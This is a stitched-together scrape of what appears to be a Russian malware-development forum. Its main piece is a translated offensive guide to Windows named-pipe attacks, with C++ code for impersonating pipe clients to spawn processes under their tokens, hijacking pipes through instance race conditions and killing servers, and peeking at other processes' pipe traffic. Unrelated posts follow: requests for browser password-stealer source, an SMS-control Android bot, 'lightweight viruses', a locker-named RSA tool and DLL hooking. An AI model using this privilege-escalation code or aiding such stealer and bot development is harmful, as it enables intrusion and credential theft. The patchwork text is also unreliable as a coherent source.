Имперсонацией с помощью NamedPipe лучше всего злоупотреблять, когда у вас есть служба, программа или процедура, которая позволяет вам указать или контролировать доступ к файлу (неважно, разрешает ли она вам доступ на чтение или запись или и то, и другое). Благодаря тому, что NamedPipe по сути являются FILE_OBJECTs и работают с теми же функциями доступа, что и обычные файлы ([ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-readfile), [WriteFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-writefile), [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-createfilea), ...), вы можете указать NamedPipe вместо обычного имени файла и заставить процесс вашей жертвы подключиться к NamedPipe под вашим контролем.
Предварительные условия
Есть два важных аспекта, которые необходимо проверить при попытке выдать себя за клиента.
Во-первых, необходимо проверить, как клиент реализует доступ к файлам, а точнее, указывает ли клиент флаг SECURITY_SQOS_PRESENT при вызове [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-createfilea)?
Уязвимый вызов CreateFile выглядит следующим образом:
C++:Copy to clipboard
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
В то время как безопасный вызов CreateFile выглядит следующим образом:
C++:Copy to clipboard
// calling with explicit SECURITY_IMPERSONATION_LEVEL
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION , NULL);
// calling without explicit SECURITY_IMPERSONATION_LEVEL
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT, NULL);
По умолчанию вызов без явного указания SECURITY_IMPERSONATION_LEVEL (как в приведенном выше примере) выполняется с уровнем обезличивания SecurityAnonymous.
Если флаг SECURITY_SQOS_PRESENT установлен без дополнительного уровня имперсонации (IL) или с IL, установленным на SECURITY_IDENTIFICATION или SECURITY_ANONYMOUS, вы не сможете выдать себя за клиента.
Второй важный аспект, который необходимо проверить, это имя файла, он же параметр lpFileName, передаваемый [CreateFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-createfilea). Существует важное различие между вызовом localNamedPipe и вызовом удаленных NamedPipe.
Вызов localNamedPipe определяется расположением файла \\\.\pipe<SomeName>.
Вызовы к localNamedPipe могут быть имперсонифицированы, только если явно
установлен флаг SECURITY_SQOS_PRESENT с уровнем имперсонации выше
SECURITY_IDENTIFICATION. Поэтому уязвимый вызов выглядит следующим образом:
C++:Copy to clipboard
hFile = CreateFile(L"\\.\pipe\fpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION, NULL);
Для ясности. Безопасный вызов localNamedPipe будет выглядеть следующим образом:
C++:Copy to clipboard
hFile = CreateFile(L"\\.\pipe\fpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
Этот последующий вызов безопасен даже без SECURITY_SQOS_PRESENT, поскольку вызывается localNamedPipe.
Удаленная NamedPipe с другой стороны, определяется именем lpFileName, начинающимся с имени хоста или IP, например: \\\ServerA.domain.local\pipe<SomeName>.
Теперь наступает важный момент:
Когда флаг SECURITY_SQOS_PRESENT отсутствует и вызывается удаленная NamedPipe уровень имперсонации определяется привилегиями пользователя, управляющего сервером NamedPipe.
Это означает, что когда вы вызываете удаленный NamedPipe без флага
SECURITY_SQOS_PRESENT, ваш атакующий пользователь, запускающий канал, должен
обладать привилегией SeImpersonatePrivilege
([SE_IMPERSONATE_NAME](https://docs.microsoft.com/en-
us/windows/win32/secauthz/privilege-constants)), чтобы выдать себя за клиента.
Если ваш пользователь не обладает этой привилегией, уровень имперсонации будет
установлен на SecurityIdentification (что позволяет вам идентифицировать, но
не выдавать себя за пользователя).
Но это также означает, что если ваш пользователь обладает привилегией SeEnableDelegationPrivilege ([SE_ENABLE_DELEGATION_NAME](https://docs.microsoft.com/en- us/windows/win32/secauthz/privilege-constants)), уровень имперсонации будет установлен на SecurityDelegation, и вы даже сможете аутентифицировать пользователя-жертву в других сетевых службах.
Важным выводом здесь является следующее:
Вы можете сделать удаленный вызов NamedPipe запущенной на той же машине, указав \\\127.0.0.1\pipe<SomeName>.
Чтобы окончательно собрать все части воедино:
Если параметр SECURITY_SQOS_PRESENT не установлен, вы можете выдать себя за клиента, если у вас есть пользователь с привилегиями не ниже SE_IMPERSONATE_NAME, но для NamedPipe, работающих на той же машине, вам нужно вызвать их через \\\127.0.0.1\pipe\....
Если установлен SECURITY_SQOS_PRESENT, вы можете выдать себя за клиента, только если вместе с ним установлен уровень имперсонации выше SECURITY_IDENTIFICATION (независимо от того, локально или удаленно вы вызываете NamedPipe)
В [документации Microsoft](https://docs.microsoft.com/en- us/windows/win32/secauthz/impersonation-levels) об уровнях авторизации говорится следующее:
Если namedPipe RPC или DDE-соединение является удаленным, флаги, переданные CreateFile для установки уровня обезличивания, игнорируются. В этом случае уровень обезличивания клиента определяется уровнями обезличивания, включенными сервером, которые задаются флагом учетной записи сервера в службе каталогов. Например, если на сервере разрешено делегирование, уровень обезличивания клиента также будет установлен на делегирование, даже если флаги, переданные CreateFile, указывают уровень обезличивания идентификации. [[источник](https://docs.microsoft.com/en- us/windows/win32/secauthz/impersonation-levels)]
Имейте в виду, что технически это верно, но несколько вводит в заблуждение...
Точная версия такова: если при вызове удаленного namedPipe вы указываете [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-createfilea) только флаги уровня имперсонации (и ничего больше), то они будут проигнорированы, но если вы указываете флаги имперсонации вместе с флагом SECURITY_SQOS_PRESENT, то они будут соблюдены.
Примеры:
C++:Copy to clipboard
/ In the below call the SECURITY_IDENTIFICATION flag will be respected by the remote server
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, NULL);
/* --> The server will obtain a SECURITY_IDENTIFICATION token */
// In this call the SECURITY_IDENTIFICATION flag will be ignored
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_IDENTIFICATION, NULL);
/* --> The server will obtain a token based on the privileges of the user running the server.
A user holding SeImpersonatePrivilege will get an SECURITY_IMPERSONATION token */
// In this call the Impersonation Level will default to SECURITY_ANONYMOUS and will be respected
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT, NULL);
/* --> The server will obtain a SECURITY_ANONYMOUS token. A call to OpenThreadToken will result in error 1347 (0x543, ERROR_CANT_OPEN_ANONYMOUS)*/
Реализация
C++:Copy to clipboard
// Create a server named pipe
serverPipe = CreateNamedPipe(
pipeName, // name of our pipe, must be in the form of \\.\pipe\<NAME>
PIPE_ACCESS_DUPLEX, // The rest of the parameters don't really matter
PIPE_TYPE_MESSAGE, // as all you want is impersonate the client...
1, //
2048, //
2048, //
0, //
NULL // This should ne NULL so every client can connect
);
// wait for pipe connections
BOOL bPipeConnected = ConnectNamedPipe(serverPipe, NULL);
// Impersonate client
BOOL bImpersonated = ImpersonateNamedPipeClient(serverPipe);
// if successful open Thread token - your current thread token is now the client's token
BOOL bSuccess = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
// now you got the client token saved in hToken and you can safeyl revert back to self
bSuccess = RevertToSelf();
// Now duplicate the client's token to get a Primary token
bSuccess = DuplicateTokenEx(hToken,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&hDuppedToken
);
// If that succeeds you got a Primary token as hDuppedToken and you can create a proccess with that token
CreateProcessWithTokenW(hDuppedToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
А вот такой результат:
При самостоятельной реализации этой функции возникают некоторые трудности:
Когда вы создаете процесс с помощью [CreateProcessWithTokenW](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw), вам необходимо [RevertToSelf](https://docs.microsoft.com/en- us/windows/win32/api/securitybaseapi/nf-securitybaseapi-reverttoself) перед вызовом CreateProcessWithTokenW, иначе вы получите ошибку.
Когда вы хотите создать оконный процесс (что-то с всплывающим окном, например, calc.exe или cmd.exe), вам нужно предоставить клиенту доступ к вашему окну и рабочему столу. Пример реализации, позволяющей всем пользователям получить доступ к вашему Window и Desktop, можно найти [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP- Util/Access.cpp) .
Условие гонки при создании экземпляра
Экземпляры именованных труб создаются и живут в глобальном "пространстве имен" (на самом деле технически пространства имен нет, но это помогает понять, что все NamedPipe живут под одной крышей) на диске устройства Name Pipe File System (NPFS). Более того, несколько NamedPipe с одинаковыми именами могут существовать под одной крышей. Что же произойдет, если приложение создаст NamedPipe, который уже существует? Если вы не установите правильные флаги, ничего не произойдет, то есть вы не получите ошибку и, что еще хуже, не получите клиентских соединений, поскольку экземпляры NamedPipe организованы в стеке FIFO (First In First Out).
Такая конструкция делает Named Pipes уязвимыми для уязвимостей состояния гонки при создании экземпляров.
Сценарий атаки
Сценарий атаки для использования такого состояния гонки выглядит следующим образом: Вы определили службу, программу или процедуру, которая создает именованный канал, используемый клиентскими приложениями, работающими в другом контексте безопасности (допустим, они работают под пользователем NT Service). Сервер создает NamePipe для связи с клиентским приложением (приложениями). Время от времени клиент подключается к NamePipe сервера - не редкость, если серверное приложение вызывает подключение клиентов после создания pipe- сервера. Вы выяснили, когда и как запускается сервер, а также имя создаваемой им pipe.
Теперь вы пишете программу, которая создает namedpipe с тем же именем в сценарии, где ваш экземпляр NamedPipe создается раньше, чем NamedPipe целевого сервера. Если NamedPipe сервера создана небезопасно, она не заметит, что NamedPipe с таким же именем уже существует, и вызовет подключение клиентов. Благодаря стеку FIFO клиенты подключатся к вам, и вы сможете читать или записывать их данные или попытаться выдать себя за клиента.
Необходимые условия
Для того чтобы эта атака сработала, вам нужен целевой сервер, который не проверяет, существует ли уже NamedPipe с таким же именем. Обычно сервер не имеет дополнительного кода для проверки вручную, существует ли уже NamedPipe с таким же именем - думая об этом, вы ожидаете получить ошибку, если имя вашей NamedPipe уже существует, верно? Но этого не происходит, потому что два экземпляра NamedPipe с одинаковым именем абсолютно валидны... по любой причине.
Но для борьбы с этой атакой Microsoft добавила флаг FILE_FLAG_FIRST_PIPE_INSTANCE, который можно указать при создании NamedPipe трубы через [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea). Когда этот флаг установлен, вызов create вернет значение INVALID_HANDLE_VALUE, что приведет к ошибке при последующем вызове [ConnectNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe).
Если ваш целевой сервер не указывает флаг FILE_FLAG_FIRST_PIPE_INSTANCE, то он, скорее всего, уязвим, однако есть еще один момент, о котором следует знать атакующей стороне. При создании NamedPipe через [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea) существует параметр nMaxInstances, который определяет...:
Максимальное количество экземпляров, которые могут быть созданы для этой pipe. Первый экземпляр трубы может задавать это значение; CreateNamedPipe [[источник](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf- winbase-createnamedpipea)]
Таким образом, если вы установите это значение в '1' (как в примере кода выше), вы уничтожите свой собственный вектор атаки. Чтобы использовать уязвимость состояния гонки при создании экземпляра, установите значение PIPE_UNLIMITED_INSTANCES.
Реализация
Все, что вам нужно сделать для эксплуатации, это создать NamedPipe с нужным именем в нужное время.
Мой пример реализации [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeServer/CPP-Basic-PipeServer.cpp) может быть использован в качестве шаблона реализации. Закиньте его в вашу любимую IDE, задайте имя NamedPipe убедитесь, что NamedPipe создана с флагом PIPE_UNLIMITED_INSTANCES, и начинайте работать.
Соединения с pipe без ответа - это попытки соединения, предпринимаемые клиентами, которые - кто бы мог подумать - не увенчались успехом, следовательно, остались без ответа, потому что pipe, которую запрашивает клиент, не существует.
Потенциал эксплуатации здесь довольно ясен и прост: Если клиент хочет подключиться к несуществующей pipe, мы создаем pipe, к которой клиент может подключиться, и пытаемся манипулировать клиентом с помощью вредоносной связи или выдать себя за клиента, чтобы получить дополнительные привилегии.
Эту уязвимость иногда также называют избыточными соединениями pipe (но, на мой взгляд, это не самая лучшая терминология).
Главный вопрос здесь заключается в следующем: Как найти таких клиентов?
Моим первоначальным немедленным ответом было бы: Запустить
Procmon и
поискать неудачные системные вызовы
[CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-
fileapi-createfilea).
Но я проверил это и оказалось, что Procmon не выдает список таких вызовов для труб... возможно, это потому, что инструмент проверяет/слушает только файловые операции через драйвер NTFS, но я не изучал этот вопрос глубже (возможно, есть трюк/переключатель, о котором я не знал) - я сообщу, если наткнусь на ответ...
Другой вариант - Pipe Monitor из набора инструментов IO Ninja. Этот инструмент требует лицензии, но предлагает бесплатный пробный период, чтобы поиграть с ним. Pipe Monitor предлагает функциональность для проверки активности pipe в системе и поставляется с несколькими основными фильтрами для процессов, имен файлов и т.п. Поскольку вы хотите найти все процессы и все имена файлов, я отфильтровал их по '*', запустил программу и использовал функцию поиска для поиска "Cannot open":
Если вы знаете какой-либо другой способ сделать это, используя инструментарий с открытым исходным кодом, дайте мне знать (/ 0xcsandker)
Убийство pipe-серверов
Если вы не можете найти неотвеченные попытки соединения по pipe, но обнаружили интересного клиента, с которым вы хотели бы поговорить или выдать себя за него, другой вариант получить соединение клиента - убить его текущий сервер.
В разделе Условия гонки при создании экземпляра я описал, что вы можете иметь несколько NamedPipe с одинаковыми именами в одном и том же "пространстве имен".
Если ваш целевой сервер не установил параметр nMaxInstances в '1', вы можете создать NamedPipe-cервер с тем же именем и поставить себя в очередь на обслуживание клиентов. Вы не получите ни одного клиентского вызова, пока оригинальный NamedPipe-cервер обслуживает клиентов, поэтому идея этой атаки заключается в том, чтобы нарушить работу или убить оригинальный NamedPipe- cервер чтобы на его место встал ваш вредоносный сервер.
Когда дело доходит до уничтожения или разрушения оригинального NamedPipe- cервер я не могу помочь с какими-либо общими предпосылками или реализациями, потому что это всегда зависит от того, кто управляет целевым сервером, а также от ваших прав доступа и привилегий пользователя.
При анализе целевого сервера на предмет применения техники kill старайтесь мыслить нестандартно, здесь есть нечто большее, чем просто отправка сигнала выключения процессу, например, могут быть условия ошибки, которые заставляют сервер выключиться или перезапуститься (помните, что вы номер 2 в очереди - перезапуска может быть достаточно, чтобы занять место).
Также обратите внимание, что pipe-сервер - это просто экземпляр, работающий на виртуальном FILE_OBJECT, поэтому все именованные pipe-серверы будут завершены, как только количество ссылок на их handle достигнет 0. Например, handle открывается клиентом, подключающимся к нему. Поэтому сервер также можно убить, уничтожив все его хэндлы (конечно, вы что-то получите, только если клиенты вернутся к вам после потери соединения).
PeekNamedPipe
Могут быть сценарии, в которых вас интересуют данные, которыми обмениваются, а не манипуляции или выдача себя за клиентов pipe.
Благодаря тому, что все экземпляры именованных труб живут под одной крышей, ака. в одном глобальном "пространстве имен" ака. на одном виртуальном диске устройства NPFS (как уже кратко упоминалось ранее), нет системного барьера, который помешает вам подключиться к любому произвольному (СИСТЕМНОМУ или не СИСТЕМНОМУ) экземпляру именованной трубы и посмотреть на данные в трубе (технически "в трубе" означает в разделе общей памяти, выделенной сервером труб).
Предварительные условия
Как упоминалось в разделе Безопасность NamedPipe единственное средство, которое вы можете использовать для защиты NamedPipe - это использование дескриптора безопасности в качестве последнего параметра (lpSecurityAttributes) вызова [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea). И это все, что может помешать вам получить доступ к произвольному экземпляру именованной трубы. Поэтому все, что вам нужно проверить при поиске цели, это установлен ли этот параметр и защищен ли он для предотвращения несанкционированного доступа.
Реализация
Когда вы нашли подходящую цель, нужно помнить еще об одном моменте: Если вы читаете из NamedPipe с помощью [ReadFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-readfile), вы удаляете данные из общей памяти сервера, и следующий, потенциально легитимный клиент, который попытается прочитать из pipe, не найдет никаких данных и, возможно, выдаст ошибку.
Но вы можете использовать функцию [PeekNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe) для просмотра данных, не удаляя их из общей памяти.
Фрагмент реализации, основанный на моем примере кода, может выглядеть следующим образом:
C++:Copy to clipboard
// all the vars you need
const int MESSAGE_SIZE = 512;
BOOL bSuccess;
LPCWSTR pipeName = L"\\\\.\\pipe\\fpipe";
HANDLE hFile = NULL;
LPWSTR pReadBuf[MESSAGE_SIZE] = { 0 };
LPDWORD pdwBytesRead = { 0 };
LPDWORD pTotalBytesAvail = { 0 };
LPDWORD pBytesLeftThisMessage = { 0 };
// connect to named pipe
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL);
// sneak peek data
bSuccess = PeekNamedPipe(
hFile,
pReadBuf,
MESSAGE_SIZE,
pdwBytesRead,
pTotalBytesAvail,
pBytesLeftThisMessage
);
Вот и все, если вы хотите продолжить копаться в именованных каналах, вот несколько хороших ссылок для начала:
![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
](https://docs.microsoft.com/en-us/windows/win32/ipc/pipes)
How to create, manage, and use pipes. A pipe is a section of shared memory that processes use for communication. The process that creates a pipe is the pipe server. A process that connects to a pipe is a pipe client.
docs.microsoft.com
](http://www.blakewatts.com/namedpipepaper.html)
![www.blakewatts.com](/proxy.php?image=https%3A%2F%2Fblakewatts.com%2Flock- solid.svg&hash=ceceaaccc89c979ac19eb49a75408afe&return_error=1) www.blakewatts.com
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fc2ec6d338bd54cc764b8194ad3d9994793ce005e9c2c7c72163258652f45f561%2Fcsandker%2FInterProcessCommunication- Samples&hash=6c483ae85a9c6f74e0698fd7a24fb372&return_error=1)
Client-Server at master · csandker/InterProcessCommunication-Samples ](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server)
Some Code Samples for Windows based Inter-Process-Communication (IPC) - csandker/InterProcessCommunication-Samples
github.com
Перевёл [эту статью](https://csandker.io/2021/01/10/Offensive-Windows- IPC-1-NamedPipes.html)
Всем здоровья и комфортной среды обитания!
Небольшой гайд как статически слинковать libcurl с вашей программой,
дабы не пришлось таскать с собой курловскую ддл'ку.
Все действия я буду производить в студии 19 года на десятке.
Code:Copy to clipboard
C++ATL for v142 (x86 and x64)
C++MFC for v142 (x86 and x64)
C++ v14.21 ATL for v142 (x86 and x64)
C++v14.21 MFC for v142 (x86 and x64)
Code:Copy to clipboard
cd <путь, который мы копернули до этого>
set RTLIBCFG=static
nmake /f Makefile.vc mode=static vc=16(версия будет прописана вверху окошка) debug=yes/no(в зависимости от того нужем вам релиз или дебаг)
То что мы натворили будет храниться в папке builds ввиде трёх папок, нам нужна первая. В ней тоже будет три папки, нам понадобятся include and lib.
Code:Copy to clipboard
Свойства конфигурации -> Дополнительно -> Использование MFC: использовать MFC в статической библиотеке
C/C++ -> Препроцессор -> Определение препроцессора: CURL_STATICLIB
итак, заходим в нашу папочку include, далее curl и копируем этот путь
C/C++ -> Общие -> Дополнительные каталоги включаемых файлов: <вставляем>
затем залетаем в папку lib, в ней находится libcurl.lib, опять копируем путь до этой либы
Компоновщик -> Ввод -> Дополнительные зависимости: <вставляем путь, включая название либы>
Туда же вставляем вот эти либы Normaliz.lib;Ws2_32.lib;Wldap32.lib;Crypt32.lib;advapi32.lib;
Осталось добавить в код проекта #include "curl.h" и всё
Надеюсь актуальная тема, ибо сам недавно парился над этим.
P.S. кстати, размер приложухи увеличится на 500кб. Да, это жёстко, конечно, но не мы такие, жизнь такая
Собственно, вопрос вверху. Я вот просто пытаюсь писать легковесные вирусы, мол круто, маленький вес, еху. Но боль в жопе всё таки сильнее, чем моё моральное утешение самого себя. Есть ли реальный смысл писать без CRT в 2022?
Последнее время осваиваю xamarin как средство мобильной разработки (Мой
основной яп c# , поэтому и xamarin а не котлин /java)
Для интереса решил написать небольшого зверька который позволит мониторить смс
, удалять / отправлять нужные при необходимости .
Сорцы разных андроид ботов не смотрел , дабы самому разбираться , без чужого
влияния .
И вот стало интересно , почему многие используют web запросы для управления
своими зверьками .
Я допускаю что это из-за потребления батарейки телефона (постоянный tcp
коннект и всё такое) но неужели это так критично с современными телефонами ?
Скажу сразу , реальных тестов (в боевых условиях) не делал и если это и правда
критично то готов верить на слова .
Для своих тестов / практики взял андроид ценной в 65$ и особой нагрузки не
заметил .
Tcp client-server как по мне куда проще в реализации . Поставил сервер на
дедик и всё , в бой .
Простой интерес , тапками не кидайте а приводите примеры
Здравствуйте.
Нужно искать регулярные выражения в тексте. Пишу на С++, без CRT, т.е.
std::regex использовать не могу.
Главная цель - маленький размер.
Есть парчка вопросов.
В libc есть <regex.h>.
Можно ли его использовать в C++? Ни разу пока не приходилось до этого момента
использовать сишные библиотеки в плюсах.
Можно ли его использовать без CRT?
Много ли он весит, большой ли вес файлу прибавит?
К слову, один лишь std::regex из STL дает +40 КБ веса, потому что тянет за
собой чуть ли не половину STL, ну и требует CRT.
Если libc плохой вариант в моем случае, то что можете посоветовать? Что обычно
в малвари используется для такой задачи?
Заранее спасибо!
Хотел бы посмотреть исходники opensource стиллеров если таковые есть покидайте.
Простенький способ зашифровать строки методом RSA (1024/2048)
Создаём класс RSATool.cs и запишем в него код:
C#:Copy to clipboard
namespace OldLockerTestEncTools
{
using System;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Text;
public class RSATool
{
/// <summary>
/// Метод для шифрования текста <b>"Публичным ключём"</b>
/// </summary>
/// <param name="strText">Текст для шифрования</param>
/// <param name="KeySize">Размер публичного ключа RSA</param>
/// <param name="strPublicKey">Публичный ключ RSA</param>
/// <returns>Шифрованный текст</returns>
public string Encrypt(string strText, int KeySize, string strPublicKey)
{
using (var rsa = new RSACryptoServiceProvider(KeySize))
{
rsa.FromXmlString(strPublicKey);
byte[] byteText = Encoding.UTF8.GetBytes(strText);
byte[] byteEntry = rsa.Encrypt(byteText, false);
return Convert.ToBase64String(byteEntry);
}
}
/// <summary>
/// Метод для расшифровки текста <b>"Приватным ключём"</b>
/// </summary>
/// <param name="strEntryText">Текст для расшифровки</param>
/// <param name="KeySize">Размер приватного ключа RSA</param>
/// <param name="strPrivateKey">Приватный ключ RSA</param>
/// <returns>Расшифрованный текст</returns>
public string Decrypt(string strEntryText, int KeySize, string strPrivateKey)
{
using (var rsa = new RSACryptoServiceProvider(KeySize))
{
rsa.FromXmlString(strPrivateKey);
byte[] byteEntry = Convert.FromBase64String(strEntryText);
byte[] byteText = rsa.Decrypt(byteEntry, false);
return Encoding.UTF8.GetString(byteText);
}
}
/// <summary>
/// Метод для генерации приватного и закрытого ключа RSA
/// </summary>
/// <param name="KeySize">Размер ключа RSA</param>
/// <returns></returns>
public Dictionary<string, string> GetKey(int KeySize)
{
var dictKey = new Dictionary<string, string>();
using (var rsa = new RSACryptoServiceProvider(KeySize))
{
dictKey.Add("PublicKey", rsa.ToXmlString(false));
dictKey.Add("PrivateKey", rsa.ToXmlString(true));
}
return dictKey;
}
}
}
Использовать можно так:
C#:Copy to clipboard
namespace OldLockerTestEncTools
{
using System;
using System.Collections.Generic;
internal static class Program
{
[STAThread]
public static void Main()
{
string encryptedText = "r3xq1";
Console.Title = "RSA 2048 string Encryption/Decryption";
const int KEY_SIZE = 2048;
EncTools.RSATool myRSA = new EncTools.RSATool();
Dictionary<string, string> dictK = myRSA.GetKey(KEY_SIZE);
Console.WriteLine($"Оригинальный текст: {encryptedText}");
string Encrypt = myRSA.Encrypt(encryptedText, KEY_SIZE, dictK["PublicKey"]);
Console.WriteLine($"Зашифрованный текст: {Encrypt}");
string Decrypt = myRSA.Decrypt(Encrypt, KEY_SIZE, dictK["PrivateKey"]);
Console.WriteLine($"Расшифрованный текст: {Decrypt}");
Console.Read();
}
}
}
Использование с сохранение в файл и чтение из файла:
C#:Copy to clipboard
namespace OldLockerTestEncTools
{
using System;
using System.Collections.Generic;
using System.IO;
internal static class Program
{
private static readonly string CurrDir = Environment.CurrentDirectory;
[STAThread]
public static void Main()
{
string encryptedText = "r3xq1";
Console.Title = "RSA 2048 string Encryption/Decryption";
// Размер ключа для шифрования/расшифровки
const int KEY_SIZE = 2048;
EncTools.RSATool myRSA = new EncTools.RSATool();
// Получения ключей по размеру основного ключа
Dictionary<string, string> dictK = myRSA.GetKey(KEY_SIZE);
// Путь к файлу для публичного ключа
string Publickey = Path.Combine(CurrDir, "publickey.key");
// Путь к файлу для приватного ключа
string Privatekey = Path.Combine(CurrDir, "PrivateKey.key");
// Сохранение ключей в разные файлы
File.WriteAllText(Publickey, dictK["PublicKey"]);
File.WriteAllText(Privatekey, dictK["PrivateKey"]);
Console.WriteLine($"Оригинальный текст: {encryptedText}");
// Чтение ключей из файлов
string encryptread = File.ReadAllText(Publickey);
string decryptread = File.ReadAllText(Privatekey);
// Шифрование текста
string Encrypt = myRSA.Encrypt(encryptedText, KEY_SIZE, encryptread);
Console.WriteLine($"Зашифрованный текст: {Encrypt}");
// Расшифровка текста
string Decrypt = myRSA.Decrypt(Encrypt, KEY_SIZE, decryptread);
Console.WriteLine($"Расшифрованный текст: {Decrypt}");
Console.Read();
}
}
}
Вот и всё!)
(возможно я не в той теме опубликовал свой вопрос, если это так, то прошу удалить)
каким образом можно распаковать архив с паролем в памяти, который (архив) хранится в памяти, как массив байтов. C#
Здравствуйте, я в поисках хороших книг по шарпу. Подскажите что читать для новичка?
Здравствуте народ! Возможно данный вопрос не совсем правильный, однако осмелюсь спросить. Не так давно начал изучать С/С++ еще новичек, однако изучил более менее структурную и ООП часть. Так же немного знаком с MASM32. Встал перед вапросом куда двигаться дальше. Что можно создать кроме калькулятора в окошках или каких-нибудь крестиков ноликов. Что нибудь стоящее, нужное людям? Где и как можно реализовать эти знания? Что изучать в дальнейшем для этого? WinAPI или какие другие вещи? Подскажите плиз, а то каков смысл в этих знаниях если ненаходишь им применение. Может кто посоветует, что можно написать и в процессе дополнительно изучать? В общем куда дальше двигаться?
Все книги написаны на основе документации Stack Overflow, контент составлен
крутыми людьми со Stack Overflow.
Книги созданы для образовательных целей и не связаны с тематическими группами,
компаниями или Stack Overflow.
1. .NET Framework
2. Алгоритмы
3. Android
4. Angular 2
5. AngularJS
6. Bash
7. C
8. C++
9. C#
10. CSS
11. Entity Framework
12. Excel VBA
13. Git
14. Haskell
15. Hibernate
16. HTML5
17. HTML5 Canvas
18. iOS Developer
19. Java
20. JavaScript
21. jQuery
22. Kotlin
23. LaTeX
24. Linux
25. MATLAB
26. Microsoft SQL Server
27. MongoDB
28. MySQL
29. Node.js
30. Objective-C
31. Oracle Database
32. Perl
33. PHP
34. PostgreSQL
35. PowerShell
36. Python
37. R
38. React JS
39. React Native
40. Ruby
41. Ruby on Rails
42. Spring Framework
43. SQL
44. Swift
45. TypeScript
46. VBA
47. Visual Basic .NET
48. Xamarin.Forms
Очень подробная книга про устройство винды, апи и вся начинка. Must have для всех интересующихся.
[скачать](https://mega.nz/file/EIZE1bAb#DVQ9-Kfnc- FffryDgQe3_132ubPNj1FNbURqvuVwvm8)
Короче нужно хукнуть функцию memcpy , изую либу MinHook
Code:Copy to clipboard
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#include "MinHook.h"
typedef void*(WINAPI *MEMCPY)(void*, const void*, size_t);
MEMCPY fMemcpy = NULL;
void* WINAPI DetourMemcpy(void* destptr, const void* srcptr, size_t num)
{
return fMemcpy(destptr, srcptr, num);
}
int HookedMemcpy()
{
if (MH_Initialize() != MH_OK)
{
MessageBoxA(NULL, "123", "123", NULL);
return 1;
}
if (MH_CreateHook(&memcpy, &DetourMemcpy, reinterpret_cast<LPVOID*>(&fMemcpy)) != MH_OK)
{
MessageBoxA(NULL, "123", "123", NULL);
return 1;
}
if (MH_EnableHook(&memcpy) != MH_OK)
{
MessageBoxA(NULL, "123", "123", NULL);
return 1;
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HookedMemcpy();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Дллка инжектится без ошибок. Смотрю на функцию memcpy, нету джампа. На мессадже бокс все работает. В чем проблема?
Hi, I'm looking for a well written firefox stealer (modern version) in c or c++ to study the code
Hello everyone, how do I get chrome passwords from memory using c #. I mean having the chrome passwords that is not save on database
